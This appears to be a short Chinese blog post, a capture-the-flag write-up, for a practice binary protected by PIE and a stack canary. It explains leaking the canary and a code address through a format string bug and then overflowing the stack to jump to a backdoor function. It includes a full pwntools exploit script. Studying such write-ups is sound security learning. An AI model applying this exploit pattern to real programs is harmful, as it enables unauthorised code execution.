2024.2.9


ff

开了pie和canary的一道题,还有格式化字符串漏洞,用格式化字符串找到canary,然后利用当前程序的地址算出基址破解pie

先计算字符串的偏移,一般canary的后两位是00,算出canary的偏移在17,下一个程序在后两个,第19

因为要计算基址,先找到第19位程序的后四位地址再计算

然后找到后门函数位置

找到canary的偏移

exp:

from pwn import *

context(os="linux", arch="amd64", log_level="debug")

p = process("./ff")

p.sendline(b"%17$p-%19$p")

p.recvuntil("0x")

canary = int(p.recv(16),16)

ret = int(p.recv(15)[3:],16)

base = ret - 0x146F

cat = base + 0x1231

payload = b'a' * 56 + p64(canary) + p64(0) + p64(cat)

p.sendline(payload)

p.interactive()

(因为没自己写flag所以cat不到)


文章作者: J1ton9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 J1ton9 !
评论
评论
  目录
'); }